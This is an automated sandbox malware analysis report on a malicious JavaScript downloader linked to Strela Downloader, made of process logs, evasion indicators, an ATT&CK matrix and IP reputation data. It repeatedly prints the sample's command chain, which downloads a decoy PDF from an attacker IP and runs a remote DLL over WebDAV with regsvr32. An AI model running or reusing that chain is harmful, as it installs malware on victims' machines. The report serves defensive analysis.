Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6092			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3737			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep count: 6092 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1432	Thread sleep count: 3737 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7588	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7828	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000001.00000002.1272240303.0000020A4FEC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000F.00000002.2563909338.0000020808429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 0000000D.00000002.1362779004.000001C87B29F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2565946288.000002080DA5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1515610719364115693.js	5%	Virustotal		Browse
1515610719364115693.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/-eT	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spaceV-	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000002.1272240303.0000020A4FEC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1362657478.000002080D8A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2566017497.000002080DA8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1362779004.000001C87B28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1362779004.000001C87B26C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/M	net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/-eT	net.exe, 0000000D.00000002.1362779004.000001C87B26C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/spaceV-	net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587835
Start date and time:	2025-01-10 18:23:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1515610719364115693.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/62@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 23.40.179.19, 23.40.179.35, 192.168.2.7, 13.107.246.45, 172.202.163.200, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:24:37	API Interceptor	30x Sleep call for process: powershell.exe modified
12:24:43	API Interceptor	1x Sleep call for process: net.exe modified
12:24:44	API Interceptor	2x Sleep call for process: svchost.exe modified
12:24:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
